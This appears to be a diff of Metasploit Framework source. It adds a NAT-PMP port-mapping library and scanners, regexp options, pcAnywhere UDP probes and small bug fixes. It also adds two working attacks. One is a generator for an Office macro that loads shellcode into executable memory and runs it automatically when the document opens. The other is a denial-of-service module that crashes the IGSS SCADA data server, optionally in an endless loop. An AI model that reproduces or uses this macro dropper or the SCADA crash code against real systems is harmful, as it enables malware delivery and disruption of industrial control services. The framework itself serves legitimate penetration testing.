validates_uniqueness_of :address, :scope => :workspace_id
|
||||
|
||||
def is_vm?
|
||||
!!self.virtual_host
|
||||
end
|
||||
|
||||
def attribute_locked?(attr)
|
||||
n = notes.find_by_ntype("host.updated.#{attr}")
|
||||
n && n.data[:locked]
|
||||
|
|
|
@ -81,6 +81,13 @@ class OptBase
|
|||
value
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representing a user-friendly display of the chosen value
|
||||
#
|
||||
def display_value(value)
|
||||
value.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the option.
|
||||
#
|
||||
|
@ -137,6 +144,7 @@ end
|
|||
# OptEnum - Select from a set of valid values
|
||||
# OptAddressRange - A subnet or range of addresses
|
||||
# OptSession - A session identifier
|
||||
# OptRegexp - Valid Ruby regular expression
|
||||
#
|
||||
###
|
||||
|
||||
|
@ -440,6 +448,44 @@ class OptInt < OptBase
|
|||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Regexp option
|
||||
#
|
||||
###
|
||||
class OptRegexp < OptBase
|
||||
def type
|
||||
return 'regexp'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
unless super
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
Regexp.compile(value)
|
||||
|
||||
return true
|
||||
rescue RegexpError => e
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return Regexp.compile(value)
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
if value.kind_of?(Regexp)
|
||||
return value.source
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
|
|
|
@ -30,6 +30,18 @@ module Common
|
|||
return o
|
||||
end
|
||||
|
||||
def report_vm(vm)
|
||||
return unless session
|
||||
return unless vm
|
||||
vm_normal = vm.to_s.lstrip.strip
|
||||
return if vm_normal.empty?
|
||||
vm_data = {
|
||||
:host => session.target_host,
|
||||
:virtual_host => vm_normal
|
||||
}
|
||||
report_host(vm_data)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -38,7 +38,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestmd5(file2md5)
|
||||
chksum = Digest::MD5.hexdigest(read_file(file2md5))
|
||||
data = read_file(file2md5)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::MD5.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -61,7 +65,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestsha1(file2sha1)
|
||||
chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
|
||||
data = read_file(file2sha1)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA1.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -84,7 +92,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestsha2(file2sha2)
|
||||
chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
|
||||
data = read_file(file2sha2)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA256.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -156,7 +168,7 @@ protected
|
|||
begin
|
||||
fd = session.fs.file.new(file_name, "rb")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to open file: #{e.class} : #{e}")
|
||||
print_error("Failed to open file: #{file_name}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
|
|
@ -807,6 +807,70 @@ require 'digest/sha1'
|
|||
return vba
|
||||
end
|
||||
|
||||
def self.to_vba(framework,code,opts={})
|
||||
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
|
||||
# put the shellcode bytes into an array
|
||||
bytes = ''
|
||||
maxbytes = 20
|
||||
codebytes = code.unpack('C*')
|
||||
1.upto(codebytes.length) do |idx|
|
||||
bytes << codebytes[idx].to_s
|
||||
bytes << "," if idx < codebytes.length - 1
|
||||
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
|
||||
end
|
||||
|
||||
"#If Vba7 Then
|
||||
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
|
||||
#Else
|
||||
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
|
||||
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
|
||||
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
|
||||
#EndIf
|
||||
|
||||
Sub Auto_Open()
|
||||
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
|
||||
#If Vba7 Then
|
||||
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
|
||||
#Else
|
||||
Dim #{var_rwxpage} As Long, #{var_res} As Long
|
||||
#EndIf
|
||||
#{var_myArray} = Array(#{bytes})
|
||||
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
|
||||
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
|
||||
#{var_myByte} = #{var_myArray}(#{var_offset})
|
||||
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
|
||||
Next #{var_offset}
|
||||
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
"
|
||||
end
|
||||
|
||||
def self.to_win32pe_vba(framework, code, opts={})
|
||||
to_exe_vba(to_win32pe(framework, code, opts))
|
||||
end
|
||||
|
@ -1639,6 +1703,9 @@ require 'digest/sha1'
|
|||
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
|
||||
|
||||
when 'vba'
|
||||
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
|
||||
|
||||
when 'vba-exe'
|
||||
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
|
||||
output = Msf::Util::EXE.to_exe_vba(exe)
|
||||
|
||||
|
@ -1664,7 +1731,7 @@ require 'digest/sha1'
|
|||
end
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war']
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war']
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
##
|
||||
#
|
||||
# NAT-PMP protocol support
|
||||
#
|
||||
# by Jon Hart <jhart@spoofed.org>
|
||||
#
|
||||
##
|
||||
|
||||
require 'rex/proto/natpmp/constants'
|
||||
require 'rex/proto/natpmp/packet'
|
|
@ -0,0 +1,18 @@
|
|||
##
|
||||
#
|
||||
# NAT-PMP constants
|
||||
#
|
||||
# by Jon Hart <jhart@spoofed.org>
|
||||
#
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NATPMP
|
||||
DefaultPort = 5351
|
||||
Version = 0
|
||||
TCP = 2
|
||||
UDP = 1
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
##
|
||||
#
|
||||
# NAT-PMP protocol support
|
||||
#
|
||||
# by Jon Hart <jhart@spoofed.org>
|
||||
#
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NATPMP
|
||||
|
||||
# Return a NAT-PMP request to get the external address.
|
||||
def self.external_address_request
|
||||
[ 0, 0 ].pack('nn')
|
||||
end
|
||||
|
||||
# Parse a NAT-PMP external address response +resp+.
|
||||
# Returns the decoded parts of the response as an array.
|
||||
def self.parse_external_address_response(resp)
|
||||
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
|
||||
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
|
||||
end
|
||||
|
||||
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
|
||||
def self.map_port_request(lport, rport, protocol, lifetime)
|
||||
[ Rex::Proto::NATPMP::Version, # version
|
||||
protocol, # opcode, which is now the protocol we are asking to forward
|
||||
0, # reserved
|
||||
lport,
|
||||
rport,
|
||||
lifetime
|
||||
].pack("ccnnnN")
|
||||
end
|
||||
|
||||
# Parse a NAT-PMP mapping response +resp+.
|
||||
# Returns the decoded parts as an array.
|
||||
def self.parse_map_port_response(resp)
|
||||
resp.unpack("CCSLnnN")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -52,7 +52,7 @@ class Client
|
|||
self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025))
|
||||
self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.")
|
||||
self.peer_port = params["PeerPort"] || 69
|
||||
self.context = params["Context"] || {}
|
||||
self.context = params["Context"] || {'Msf' => framework, 'MsfExploit' => self}
|
||||
self.local_file = params["LocalFile"]
|
||||
self.remote_file = params["RemoteFile"] || (::File.split(self.local_file).last if self.local_file)
|
||||
self.mode = params["Mode"] || "octet"
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
require 'msf/core'
|
||||
require 'rex/proto/natpmp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NAT-PMP port mapper',
|
||||
'Description' => 'Map (forward) TCP and UDP ports on NAT devices using NAT-PMP',
|
||||
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LPORT,
|
||||
Opt::RPORT,
|
||||
OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
|
||||
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
|
||||
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
|
||||
Opt::CHOST
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(host)
|
||||
begin
|
||||
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
{ 'LocalHost' => datastore['CHOST'] || nil,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
})
|
||||
add_socket(udp_sock)
|
||||
|
||||
# get the external address first
|
||||
print_status "#{host} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
|
||||
req = Rex::Proto::NATPMP.external_address_request
|
||||
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
|
||||
external_address = nil
|
||||
while (r = udp_sock.recvfrom(12, 1) and r[1])
|
||||
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
|
||||
end
|
||||
|
||||
print_status "#{host} - NATPMP - Sending mapping request" if (datastore['VERBOSE'])
|
||||
# build the mapping request
|
||||
req = Rex::Proto::NATPMP.map_port_request(
|
||||
datastore['LPORT'].to_i, datastore['RPORT'].to_i,
|
||||
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
|
||||
)
|
||||
# send it
|
||||
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
|
||||
# handle the reply
|
||||
while (r = udp_sock.recvfrom(16, 1) and r[1])
|
||||
handle_reply(Rex::Socket.source_address(host), host, external_address, r)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
def handle_reply(map_target, host, external_address, pkt)
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
(ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
|
||||
|
||||
if (result == 0)
|
||||
if (datastore['RPORT'].to_i != external_port)
|
||||
print_status( "#{external_address} " +
|
||||
"#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
|
||||
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
|
||||
end
|
||||
print_status( "#{external_address} " +
|
||||
"#{external_port}/#{datastore['PROTOCOL']} -> #{map_target} " +
|
||||
"#{internal_port}/#{datastore['PROTOCOL']} forwarded")
|
||||
end
|
||||
|
||||
# report NAT-PMP as being open
|
||||
report_service(
|
||||
:host => host,
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => 'natpmp',
|
||||
:state => Msf::ServiceState::Open
|
||||
)
|
||||
|
||||
# report the external port as being open
|
||||
report_service(
|
||||
:host => external_address,
|
||||
:port => external_port,
|
||||
:proto => datastore['PROTOCOL'].to_s.downcase,
|
||||
:state => Msf::ServiceState::Open
|
||||
)
|
||||
end
|
||||
end
|
|
@ -71,9 +71,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
lfd = nil
|
||||
if offset != 0
|
||||
# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
|
||||
lfd = ::File.open(datastore['LPATH'], "r+b")
|
||||
lfd.seek(offset)
|
||||
begin
|
||||
# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
|
||||
lfd = ::File.open(datastore['LPATH'], "r+b")
|
||||
lfd.seek(offset)
|
||||
rescue Errno::ENOENT
|
||||
print_error("Unable to open existing dump! Writing a new file instead of resuming...")
|
||||
lfd = ::File.open(datastore['LPATH'], "wb")
|
||||
end
|
||||
else
|
||||
lfd = ::File.open(datastore['LPATH'], "wb")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
|
||||
'Description' => %q{
|
||||
The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
|
||||
brought down by sending a crafted TCP packet to port 12401. This should also work
|
||||
for version <= 9.0.0.1120, but that version hasn't been tested.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'jfa', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-4050' ],
|
||||
[ 'OSVDB', '77976' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf' ]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2011'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(12401),
|
||||
OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
|
||||
OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
#
|
||||
#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
|
||||
#dos << Rex::Text.rand_text_alpha(5014)
|
||||
#
|
||||
# I should have looked at the other MSF modules before I started doing it the hard way.
|
||||
# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
|
||||
#
|
||||
|
||||
count = datastore['COUNT']
|
||||
snore = datastore['SLEEP']
|
||||
times = 1
|
||||
|
||||
# Someone wants to keep a good service down.
|
||||
if count == 0
|
||||
count = 1
|
||||
infinite = true
|
||||
end
|
||||
|
||||
#
|
||||
# The port seems to stay open open until someone clicks "Close the program".
|
||||
# Once they click "Close the program" (Windows 7), the port becomes unavailable.
|
||||
#
|
||||
# However, even though it's open, it doesn't seem to handle any valid requests.
|
||||
#
|
||||
while count >= 1 do
|
||||
## Randomize the buffer size to make it a teeny tiny bit less obvious
|
||||
size = Random.new.rand(1024..5014)
|
||||
|
||||
dos = "\x00\x04" #Funky size causes overflow
|
||||
dos << "\x01\x00\x34\x12"
|
||||
dos << "\x0D" #Opcode
|
||||
dos << "\x00\x00\x00\x00\x00\x00\x00"
|
||||
dos << "\x01" #Flag
|
||||
dos << "\x00\x00\x00\x01\x00\x00\x00"
|
||||
dos << Rex::Text.rand_text_alpha(size)
|
||||
|
||||
begin
|
||||
connect
|
||||
sock.put(dos)
|
||||
print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
|
||||
disconnect
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_status("Connection refused. Someone may have clicked 'Close the program'")
|
||||
end
|
||||
|
||||
if infinite
|
||||
select(nil, nil, nil, snore)
|
||||
times += 1
|
||||
else
|
||||
select(nil, nil, nil, snore) if count > 1
|
||||
count -= 1
|
||||
times += 1
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
{
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'vars_get' =>
|
||||
'vars_get' =>
|
||||
{
|
||||
'company_name' => datastore['COMPANY_NAME'],
|
||||
'limit' => datastore['LIMIT'],
|
||||
|
@ -132,8 +132,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def grab_text(e, name)
|
||||
(e.get_elements(name) && e.get_elements(name)[0] &&
|
||||
e.get_elements(name)[0].get_text ) ?
|
||||
(e.get_elements(name) && e.get_elements(name)[0] &&
|
||||
e.get_elements(name)[0].get_text ) ?
|
||||
e.get_elements(name)[0].get_text.to_s : ""
|
||||
end
|
||||
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 1 $',
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
'DisclosureDate' => 'Jan 19 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
|
@ -197,11 +197,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
f.seek(userentryptr + 40) # sorry decimal
|
||||
entrylen = makeword(f.read(2)) # sorry this is decimal
|
||||
logins = Rex::Ui::Text::Table.new(
|
||||
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
|
||||
'Indent' => 1,
|
||||
'Columns' => ["Type", "User Name", "Password"])
|
||||
range = Range.new(0, numentries - 1)
|
||||
range.each do |i|
|
||||
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
|
||||
'Indent' => 1,
|
||||
'Columns' => ["Type", "User Name", "Password"])
|
||||
|
||||
0.upto(numentries -1).each do |i|
|
||||
f.seek(dstart + headerlen + i * entrylen)
|
||||
accounttype = makeword(f.read(2))
|
||||
f.seek(dstart + headerlen + i * entrylen + 2)
|
||||
|
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def parse(fh)
|
||||
print_status("Parsing file")
|
||||
f = File.open(fh, 'rb')
|
||||
f = File.open(fh.path, 'rb')
|
||||
used = f.read(4)
|
||||
if used != "USED"
|
||||
print_error "Invalid Configuration File!"
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
require 'msf/core'
|
||||
require 'rex/proto/natpmp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NAT-PMP External address scanner',
|
||||
'Description' => 'Scan NAT devices for their external address using NAT-PMP',
|
||||
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
|
||||
Opt::CHOST
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(host)
|
||||
begin
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
{ 'LocalHost' => datastore['CHOST'] || nil,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
})
|
||||
add_socket(udp_sock)
|
||||
print_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
|
||||
|
||||
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
|
||||
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
|
||||
handle_reply(host, r)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def handle_reply(host, pkt)
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0])
|
||||
|
||||
if (result == 0)
|
||||
print_status("#{host} -- external address #{external_address}")
|
||||
end
|
||||
|
||||
# report the host we scanned as alive
|
||||
report_host(
|
||||
:host => host,
|
||||
:state => Msf::HostState::Alive
|
||||
)
|
||||
|
||||
# also report its external address as alive
|
||||
report_host(
|
||||
:host => external_address,
|
||||
:state => Msf::HostState::Alive
|
||||
)
|
||||
|
||||
# report NAT-PMP as being open
|
||||
report_service(
|
||||
:host => host,
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => 'natpmp',
|
||||
:state => Msf::ServiceState::Open
|
||||
)
|
||||
end
|
||||
end
|
|
@ -49,7 +49,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
OptString.new('QUERY', [true, "Keywords you want to search for"]),
|
||||
OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]),
|
||||
OptBool.new('DATABASE', [false, "Add search results to the database", false]),
|
||||
OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1000]),
|
||||
OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]),
|
||||
OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']),
|
||||
OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']),
|
||||
], self.class)
|
||||
|
@ -151,7 +151,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
page = 1
|
||||
my_filter = datastore['FILTER']
|
||||
for i in page..tpages
|
||||
next if results[i].nil?
|
||||
next if results[i].nil? or results[i]['matches'].nil?
|
||||
results[i]['matches'].each { |host|
|
||||
|
||||
city = host['city'] || 'N/A'
|
||||
|
|
|
@ -51,6 +51,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@probes << 'probe_pkt_sentinel'
|
||||
@probes << 'probe_pkt_db2disco'
|
||||
@probes << 'probe_pkt_citrix'
|
||||
@probes << 'probe_pkt_pca_st'
|
||||
@probes << 'probe_pkt_pca_nq'
|
||||
|
||||
end
|
||||
|
||||
|
@ -103,7 +105,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e}")
|
||||
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
@results.each_key do |k|
|
||||
next if not @results[k].respond_to?('keys')
|
||||
data = @results[k]
|
||||
|
||||
next unless inside_workspace_boundary?(data[:host])
|
||||
|
||||
conf = {
|
||||
:host => data[:host],
|
||||
:port => data[:port],
|
||||
:proto => 'udp',
|
||||
:name => data[:app],
|
||||
:info => data[:info]
|
||||
}
|
||||
|
||||
if data[:hname]
|
||||
conf[:host_name] = data[:hname].downcase
|
||||
end
|
||||
|
||||
if data[:mac]
|
||||
conf[:mac] = data[:mac].downcase
|
||||
end
|
||||
|
||||
report_service(conf)
|
||||
print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -114,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def parse_reply(pkt)
|
||||
|
||||
@results ||= {}
|
||||
|
||||
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
|
@ -122,15 +150,69 @@ class Metasploit3 < Msf::Auxiliary
|
|||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
# Ignore duplicates
|
||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
||||
return if @results[hkey]
|
||||
|
||||
app = 'unknown'
|
||||
inf = ''
|
||||
maddr = nil
|
||||
hname = nil
|
||||
|
||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
||||
|
||||
# Work with protocols that return different data in different packets
|
||||
# These are reported at the end of the scanning loop to build state
|
||||
case pkt[2]
|
||||
when 5632
|
||||
|
||||
@results[hkey] ||= {}
|
||||
data = @results[hkey]
|
||||
|
||||
data[:app] = "pcAnywhere"
|
||||
data[:port] = pkt[2]
|
||||
data[:host] = pkt[1]
|
||||
|
||||
case pkt[0]
|
||||
|
||||
when /^NR(........................)(........)/
|
||||
name = $1.dup
|
||||
caps = $2.dup
|
||||
name = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
caps = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
data[:name] = name
|
||||
data[:caps] = caps
|
||||
|
||||
when /^ST(.+)/
|
||||
buff = $1.dup
|
||||
stat = 'Unknown'
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 67
|
||||
stat = "Available"
|
||||
end
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 11
|
||||
stat = "Busy"
|
||||
end
|
||||
|
||||
data[:stat] = stat
|
||||
end
|
||||
|
||||
if data[:name]
|
||||
inf << "Name: #{data[:name]} "
|
||||
end
|
||||
|
||||
if data[:stat]
|
||||
inf << "- #{data[:stat]} "
|
||||
end
|
||||
|
||||
if data[:caps]
|
||||
inf << "( #{data[:caps]} ) "
|
||||
end
|
||||
data[:info] = inf
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Ignore duplicates for the protocols below
|
||||
return if @results[hkey]
|
||||
|
||||
case pkt[2]
|
||||
|
||||
when 53
|
||||
|
